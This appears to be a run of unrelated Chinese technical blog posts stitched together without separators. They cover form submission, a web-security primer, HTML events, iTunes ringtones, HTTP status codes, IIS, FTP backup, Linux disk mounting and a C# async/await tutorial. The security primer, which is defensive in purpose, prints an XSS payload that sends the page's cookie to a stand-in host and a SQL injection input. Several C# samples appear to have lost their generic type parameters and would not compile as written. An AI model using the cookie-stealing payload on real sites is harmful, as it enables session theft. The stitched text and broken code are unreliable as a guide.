示例:
<form action="javascript:fn_submit()">
<div>
手机号码:
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码:
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
</script>form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。
Vue 版本:
<form v-on:submit="fn_submit" method="dialog">
</form>var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
}
});互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
当用户向 <input> 或 <textarea> 输入时执行事件。
可用于统计输入字数,判断输入内容是否规范等。
| 对比事件 | 对比事件特点 | oninput 事件特点 |
| onkeypress | 获得当前字符输入前的内容,不能在右键操作时执行 | 获得当前字符输入后的内容 |
| onkeyup | 不能在右键操作时执行 | 在任何情况的内容变化时执行 |
| onchange | 在失去焦点时执行,而且值有所改变,推荐用在 <select> 上 | 在输入时执行 |
但是通过 JS 来更改内容时不触发上述任何事件,不完美的解决方案是使用定时器。
IE8 及更早版本不支持 oninput,可以用 onpropertychange 代替。
BUG:在 IE9 的右键菜单剪切或删除中无效。
jQuery 例子:
$('#mytextarea').on('input propertychange', function () {
console.log($(this).val().length);
});
本文适用且不限于 iTunes 12.5,在 Windows 上实现。
iPhone / iPad 的铃声文件是 .m4r 格式的,可以通过 iTunes 将 .mp3 /.wav 等其它格式的音乐文件转换成 .m4r 文件。
打开 iTunes
菜单栏选择:文件 - 将文件添加到资料库 - 从文件资源管理器中选择要作为铃声的音乐文件
如果要截取其中一段音乐作为铃声,则在资料库中右键该音乐 - 显示简介 - 选项,设置开始和停止时间,长度不能超过 40 秒
在资料库中将其选中,菜单栏选择:文件 - 转换 - 创建 AAC 版本
此时在资料库中会多出一个音乐来,右键单击,在 Windows 资源管理器中显示,我们可以看到以原音乐文件名命名的 .m4a 文件(如果看不到扩展名,则在菜单上点击 查看,选中“文件扩展名”即可)
将该文件扩展名改为 .m4r
铃声做好了,怎样导入到手机上呢?简单的答案是用 iTools,其实上面制作铃声的过程也可以用 iTools 一键实现,哈~哈哈~哈哈哈~
| 成员名称 | 说明 |
|---|---|
| Accepted |
等效于 HTTP 状态 202。 Accepted 指示请求已被接受做进一步处理。 |
| Ambiguous |
等效于 HTTP 状态 300。 Ambiguous 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| BadGateway |
等效于 HTTP 状态 502。 BadGateway 指示中间代理服务器从另一代理或原始服务器接收到错误响应。 |
| BadRequest |
等效于 HTTP 状态 400。 BadRequest 指示服务器未能识别请求。如果没有其他适用的错误,或者不知道准确的错误或错误没有自己的错误代码,则发送 BadRequest。 |
| Conflict |
等效于 HTTP 状态 409。 Conflict 指示由于服务器上的冲突而未能执行请求。 |
| Continue |
等效于 HTTP 状态 100。 Continue 指示客户端可能继续其请求。 |
| Created |
等效于 HTTP 状态 201。 Created 指示请求导致在响应被发送前创建新资源。 |
| ExpectationFailed |
等效于 HTTP 状态 417。 ExpectationFailed 指示服务器未能符合 Expect 头中给定的预期值。 |
| Forbidden |
等效于 HTTP 状态 403。 Forbidden 指示服务器拒绝满足请求。 |
| Found |
等效于 HTTP 状态 302。 Found 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| GatewayTimeout |
等效于 HTTP 状态 504。 GatewayTimeout 指示中间代理服务器在等待来自另一个代理或原始服务器的响应时已超时。 |
| Gone |
等效于 HTTP 状态 410。 Gone 指示请求的资源不再可用。 |
| HttpVersionNotSupported |
等效于 HTTP 状态 505。 HttpVersionNotSupported 指示服务器不支持请求的 HTTP 版本。 |
| InternalServerError |
等效于 HTTP 状态 500。 InternalServerError 指示服务器上发生了一般错误。 |
| LengthRequired |
等效于 HTTP 状态 411。 LengthRequired 指示缺少必需的 Content-length 头。 |
| MethodNotAllowed |
等效于 HTTP 状态 405。 MethodNotAllowed 指示请求的资源上不允许请求方法(POST 或 GET)。 |
| Moved |
等效于 HTTP 状态 301。 Moved 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| MovedPermanently |
等效于 HTTP 状态 301。 MovedPermanently 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。 |
| MultipleChoices |
等效于 HTTP 状态 300。 MultipleChoices 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| NoContent |
等效于 HTTP 状态 204。 NoContent 指示已成功处理请求并且响应已被设定为无内容。 |
| NonAuthoritativeInformation |
等效于 HTTP 状态 203。 NonAuthoritativeInformation 指示返回的元信息来自缓存副本而不是原始服务器,因此可能不正确。 |
| NotAcceptable |
等效于 HTTP 状态 406。 NotAcceptable 指示客户端已用 Accept 头指示将不接受资源的任何可用表示形式。 |
| NotFound |
等效于 HTTP 状态 404。 NotFound 指示请求的资源不在服务器上。 |
| NotImplemented |
等效于 HTTP 状态 501。 NotImplemented 指示服务器不支持请求的函数。 |
| NotModified |
等效于 HTTP 状态 304。 NotModified 指示客户端的缓存副本是最新的。未传输此资源的内容。 |
| OK |
等效于 HTTP 状态 200。 OK 指示请求成功,且请求的信息包含在响应中。这是最常接收的状态代码。 |
| PartialContent |
等效于 HTTP 状态 206。 PartialContent 指示响应是包括字节范围的 GET 请求所请求的部分响应。 |
| PaymentRequired |
等效于 HTTP 状态 402。保留 PaymentRequired 以供将来使用。 |
| PreconditionFailed |
等效于 HTTP 状态 412。 PreconditionFailed 指示为此请求设置的条件失败,且无法执行此请求。条件是用条件请求标头(如 If-Match、If-None-Match 或 If-Unmodified-Since)设置的。 |
| ProxyAuthenticationRequired |
等效于 HTTP 状态 407。 ProxyAuthenticationRequired 指示请求的代理要求身份验证。Proxy-authenticate 头包含如何执行身份验证的详细信息。 |
| Redirect |
等效于 HTTP 状态 302。 Redirect 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| RedirectKeepVerb |
等效于 HTTP 状态 307。 RedirectKeepVerb 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| RedirectMethod |
等效于 HTTP 状态 303。作为 POST 的结果,RedirectMethod 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| RequestedRangeNotSatisfiable |
等效于 HTTP 状态 416。 RequestedRangeNotSatisfiable 指示无法返回从资源请求的数据范围,因为范围的开头在资源的开头之前,或因为范围的结尾在资源的结尾之后。 |
| RequestEntityTooLarge |
等效于 HTTP 状态 413。 RequestEntityTooLarge 指示请求太大,服务器无法处理。 |
| RequestTimeout |
等效于 HTTP 状态 408。 RequestTimeout 指示客户端没有在服务器期望请求的时间内发送请求。 |
| RequestUriTooLong |
等效于 HTTP 状态 414。 RequestUriTooLong 指示 URI 太长。 |
| ResetContent |
等效于 HTTP 状态 205。 ResetContent 指示客户端应重置(或重新加载)当前资源。 |
| SeeOther |
等效于 HTTP 状态 303。作为 POST 的结果,SeeOther 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| ServiceUnavailable |
等效于 HTTP 状态 503。 ServiceUnavailable 指示服务器暂时不可用,通常是由于过多加载或维护。 |
| SwitchingProtocols |
等效于 HTTP 状态 101。 SwitchingProtocols 指示正在更改协议版本或协议。 |
| TemporaryRedirect |
等效于 HTTP 状态 307。 TemporaryRedirect 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| Unauthorized |
等效于 HTTP 状态 401。 Unauthorized 指示请求的资源要求身份验证。WWW-Authenticate 头包含如何执行身份验证的详细信息。 |
| UnsupportedMediaType |
等效于 HTTP 状态 415。 UnsupportedMediaType 指示请求是不支持的类型。 |
| Unused |
等效于 HTTP 状态 306。 Unused 是未完全指定的 HTTP/1.1 规范的建议扩展。 |
| UpgradeRequired |
等效于 HTTP 状态 426。 UpgradeRequired 指示客户端应切换为诸如 TLS/1.0 之类的其他协议。 |
| UseProxy |
等效于 HTTP 状态 305。 UseProxy 指示请求应使用位于 Location 头中指定的 URI 的代理服务器。 |
IIS 中如果直接“停止”网站,那么打开页面时会显示不友好的“该页无法显示”等界面,如果特殊原因要求不能打开所有页面,但必须有一个友好提示“网站维护中”的页面,那么最土的办法是把网站的所有文件移出来,仅上传一个提示正在维护的网页,并保证是默认首页。其实有一个更加简单有效的解决方案:
在 IIS 中单击该网站,打开“URL 重写”,右侧“添加规则”,选择“空白规则”。名称可以是“网站维护中”,请求的 URL 选择“与模式不匹配”,使用“完全匹配”,模式填入我们的提示页面地址,如“maintaining.html”,操作类型“重定向”,重定向 URL 填入刚才那个页面地址,附加查询字符串不需要,类型选择“临时(307)”,点击右侧“应用”。
好了,该网站的任何请求都会引导到 maintaining.html,而不仅仅是首页的跳转。而且不需要移动网站文件,也保障了不会被人利用网站漏洞攻击篡改网站内容。
补充一点,如果你的 maintaining.html 中调用了网站中的图片、脚本、样式表等,那么需要把模式匹配的方式改为“正则表达式”,并填入正确的正则表达式,以保证这些文件都能被正常请求。
把选中的座位按并排分组后,每组座位的:
两侧都有且仅有一个空位时,往影院中央移一座;
一侧有且仅有一个空位,另一侧有连续的大于1个空位时,往仅有一个空位一侧移一座;
其它情况不移动。
逻辑实现时须注意:
在判断某组时,其它组中的座位视为已售;
循环组时应优先判断远离影院中央的座位组,这样可以尽可能地往中央移座;
循环中一旦遇到移座情况,应重新分组优化选座。
设规则:
属性-文件传输规则-全局
如果 时间 为 较旧 并且 传输 为 下载 那么 覆盖
如果 大小 为 不同 并且 传输 为 下载 那么 覆盖
如果没有匹配的规则,那么:跳过
建站点:
站点-站点管理器-新建站点
设好本地路径,传输 自定义规则 使用全局设置
队列:
连接站点,在需要备份的目录上右键,队列
在队列上右键,另存为
计划:
工具-计划-新建任务
选择队列文件,使用自定义规则
设置执行时间,Windows 密码
设置完成!
检查目前硬盘状态:fdisk -l
关机并插入新硬盘
对新硬盘分区:fdisk /dev/sdb (假设新硬盘为sdb)
m 显示命令菜单
d 删除一个分区
n 创建一个分区(e 扩展分区;p 主分区)
t 改变分区ID
q 不保存退出
w 保存退出
对新硬盘格式化:mkfs.ext4 /dev/sdb1(这个数字是分区时指定的,fdisk -l 中可查)
创建挂载目录:mkdir /挂载点
挂载分区:mount /dev/sdb1 /挂载点
(卸载分区:umount /dev/sdb1)
开机自动挂载:
vi /etc/fstab
--------------------------------------------------------------------------------------------
相关命令:
df -hT 查看已挂载设备的用量及类型
fdisk -l 查看分区类型等
free -m 查看内存及 swap 用量
--------------------------------------------------------------------------------------------
若在两块硬盘的电脑上重新安装系统,则默认建立 LVM 卷组,如下:
设备 大小 挂载点/RAID/卷 类型 格式
LVM 卷组
VolGroup 390540
lv_root 51200 / ext4 √
lv_home 335452 /home ext4 √
lv_swap 3888 swap √
硬盘驱动器
sda
sda1 500 /boot ext4 √
sda2 152126 VolGroup physical volume (LVM) √
sdb
sdb1 238417 VolGroup physical volume (LVM) √
总结:VolGroup 逻辑卷组的大小是 sda2 和 sdb1 大小之和。(因为 sda2 和 sdb1 的挂载点都是 VolGroup)
VolGroup 视为一个硬盘整体再分成 lv_root、lv_home、lv_swap 等分区。
交换分区也在逻辑卷内,其类型是 swap。
除了 swap 和 LVM 类型,其它分区基本是 ext4 类型了。
若在仅有一块硬盘的电脑上重新安装系统,也是按这种格局分区,
只是硬盘驱动器那只能看到一块硬盘,且 VolGroup 的大小就是那个类型为 LVM 的分区的大小。
前言
最近在学习Web Api框架的时候接触到了async/await,这个特性是.NET 4.5引入的,由于之前对于异步编程不是很了解,所以花费了一些时间学习一下相关的知识,并整理成这篇博客,如果在阅读的过程中发现不对的地方,欢迎大家指正。
同步编程与异步编程
通常情况下,我们写的C#代码就是同步的,运行在同一个线程中,从程序的第一行代码到最后一句代码顺序执行。而异步编程的核心是使用多线程,通过让不同的线程执行不同的任务,实现不同代码的并行运行。
前台线程与后台线程
关于多线程,早在.NET2.0时代,基础类库中就提供了Thread实现。默认情况下,实例化一个Thread创建的是前台线程,只要有前台线程在运行,应用程序的进程就一直处于运行状态,以控制台应用程序为例,在Main方法中实例化一个Thread,这个Main方法就会等待Thread线程执行完毕才退出。而对于后台线程,应用程序将不考虑其是否执行完毕,只要应用程序的主线程和前台线程执行完毕就可以退出,退出后所有的后台线程将被自动终止。来看代码应该更清楚一些:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程开始");
//实例化Thread,默认创建前台线程
Thread t1 = new Thread(DoRun1);
t1.Start();
//可以通过修改Thread的IsBackground,将其变为后台线程
Thread t2 = new Thread(DoRun2) { IsBackground = true };
t2.Start();
Console.WriteLine("主线程结束");
}
static void DoRun1()
{
Thread.Sleep(500);
Console.WriteLine("这是前台线程调用");
}
static void DoRun2()
{
Thread.Sleep(1500);
Console.WriteLine("这是后台线程调用");
}
}
}运行上面的代码,可以看到DoRun2方法的打印信息“这是后台线程调用”将不会被显示出来,因为应用程序执行完主线程和前台线程后,就自动退出了,所有的后台线程将被自动终止。这里后台线程设置了等待1.5s,假如这个后台线程比前台线程或主线程提前执行完毕,对应的信息“这是后台线程调用”将可以被成功打印出来。
Task
.NET 4.0推出了新一代的多线程模型Task。async/await特性是与Task紧密相关的,所以在了解async/await前必须充分了解Task的使用。这里将以一个简单的Demo来看一下Task的使用,同时与Thread的创建方式做一下对比。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程启动");
//.NET 4.5引入了Task.Run静态方法来启动一个线程
Task.Run(() => { Thread.Sleep(1000); Console.WriteLine("Task1启动"); });
//Task启动的是后台线程,假如要在主线程中等待后台线程执行完毕,可以调用Wait方法
Task task = Task.Run(() => { Thread.Sleep(500); Console.WriteLine("Task2启动"); });
task.Wait();
Console.WriteLine("主线程结束");
}
}
}首先,必须明确一点是Task启动的线程是后台线程,不过可以通过在Main方法中调用task.Wait()方法,使应用程序等待task执行完毕。Task与Thread的一个重要区分点是:Task底层是使用线程池的,而Thread每次实例化都会创建一个新的线程。这里可以通过这段代码做一次验证:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void DoRun1()
{
Console.WriteLine("Thread Id =" + Thread.CurrentThread.ManagedThreadId);
}
static void DoRun2()
{
Thread.Sleep(50);
Console.WriteLine("Task调用Thread Id =" + Thread.CurrentThread.ManagedThreadId);
}
static void Main(string[] args)
{
for (int i = 0; i < 50; i++)
{
new Thread(DoRun1).Start();
}
for (int i = 0; i < 50; i++)
{
Task.Run(() => { DoRun2(); });
}
//让应用程序不立即退出
Console.Read();
}
}
}运行代码,可以看到DoRun1()方法每次的Thread Id都是不同的,而DoRun2()方法的Thread Id是重复出现的。我们知道线程的创建和销毁是一个开销比较大的操作,Task.Run()每次执行将不会立即创建一个新线程,而是到CLR线程池查看是否有空闲的线程,有的话就取一个线程处理这个请求,处理完请求后再把线程放回线程池,这个线程也不会立即撤销,而是设置为空闲状态,可供线程池再次调度,从而减少开销。
Task<TResult>
Task<TResult>是Task的泛型版本,这两个之间的最大不同是Task<TResult>可以有一个返回值,看一下代码应该一目了然:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程开始");
Task task = Task.Run(() => { Thread.Sleep(1000); return Thread.CurrentThread.ManagedThreadId.ToString(); });
Console.WriteLine(task.Result);
Console.WriteLine("主线程结束");
}
}
}Task<TResult>的实例对象有一个Result属性,当在Main方法中调用task.Result的时候,将等待task执行完毕并得到返回值,这里的效果跟调用task.Wait()是一样的,只是多了一个返回值。
async/await 特性
经过前面的铺垫,终于迎来了这篇文章的主角async/await,还是先通过代码来感受一下这两个特性的使用。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("-------主线程启动-------");
Task task = GetLengthAsync();
Console.WriteLine("Main方法做其他事情");
Console.WriteLine("Task返回的值" + task.Result);
Console.WriteLine("-------主线程结束-------");
}
static async Task GetLengthAsync()
{
Console.WriteLine("GetLengthAsync Start");
string str = await GetStringAsync();
Console.WriteLine("GetLengthAsync End");
return str.Length;
}
static Task GetStringAsync()
{
return Task.Run(() => { Thread.Sleep(2000); return "finished"; });
}
}
}首先来看一下async关键字。async用来修饰方法,表明这个方法是异步的,声明的方法的返回类型必须为:void或Task或Task<TResult>。返回类型为Task的异步方法中无需使用return返回值,而返回类型为Task<TResult>的异步方法中必须使用return返回一个TResult的值,如上述Demo中的异步方法返回一个int。而返回类型可为void,则是为了和事件处理程序兼容,比如下面的示例:
public Form1()
{
InitializeComponent();
btnDo.Click += Down;
}
public async void Down(object sender, EventArgs e)
{
btnDo.Enabled = false;
string str = await Run();
labText.Text = str;
btnDo.Enabled = true;
}
public Task Run()
{
return Task.Run(() => { Thread.Sleep(5000); return DateTime.Now.ToString(); });
}再来看一下await关键字。await必须用来修饰Task或Task<TResult>,而且只能出现在已经用async关键字修饰的异步方法中。
通常情况下,async/await必须成对出现才有意义,假如一个方法声明为async,但却没有使用await关键字,则这个方法在执行的时候就被当作同步方法,这时编译器也会抛出警告提示async修饰的方法中没有使用await,将被作为同步方法使用。了解了关键字async\await的特点后,我们来看一下上述Demo在控制台会输入什么吧。

输出的结果已经很明确地告诉我们整个执行流程了。GetLengthAsync异步方法刚开始是同步执行的,所以"GetLengthAsync Start"字符串会被打印出来,直到遇到第一个await关键字,真正的异步任务GetStringAsync开始执行,await相当于起到一个标记/唤醒点的作用,同时将控制权放回给Main方法,"Main方法做其他事情"字符串会被打印出来。之后由于Main方法需要访问到task.Result,所以就会等待异步方法GetLengthAsync的执行,而GetLengthAsync又等待GetStringAsync的执行,一旦GetStringAsync执行完毕,就会回到await GetStringAsync这个点上执行往下执行,这时"GetLengthAsync End"字符串就会被打印出来。
当然,我们也可以使用下面的方法完成上面控制台的输出。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("-------主线程启动-------");
Task task = GetLengthAsync();
Console.WriteLine("Main方法做其他事情");
Console.WriteLine("Task返回的值" + task.Result);
Console.WriteLine("-------主线程结束-------");
}
static Task GetLengthAsync()
{
Console.WriteLine("GetLengthAsync Start");
Task task = Task.Run(() => { string str = GetStringAsync().Result;
Console.WriteLine("GetLengthAsync End");
return str.Length; });
return task;
}
static Task GetStringAsync()
{
return Task.Run(() => { Thread.Sleep(2000); return "finished"; });
}
}
}对比两种方法,是不是async\await关键字的原理其实就是通过使用一个线程完成异步调用吗?答案是否定的。async关键字表明可以在方法内部使用await关键字,方法在执行到await前都是同步执行的,运行到await处就会挂起,并返回到Main方法中,直到await标记的Task执行完毕,才唤醒回到await点上,继续向下执行。更深入点的介绍可以查看文章末尾的参考文献。
async/await 实际应用
微软已经对一些基础类库的方法提供了异步实现,接下来将实现一个例子来介绍一下async/await的实际应用。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
using System.Net;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("开始获取博客园首页字符数量");
Task task1 = CountCharsAsync("http://www.cnblogs.com");
Console.WriteLine("开始获取百度首页字符数量");
Task task2 = CountCharsAsync("http://www.baidu.com");
Console.WriteLine("Main方法中做其他事情");
Console.WriteLine("博客园:" + task1.Result);
Console.WriteLine("百度:" + task2.Result);
}
static async Task CountCharsAsync(string url)
{
WebClient wc = new WebClient();
string result = await wc.DownloadStringTaskAsync(new Uri(url));
return result.Length;
}
}
}参考文献:<IIIustrated C# 2012> 关于async/await的FAQ 《深入理解C#》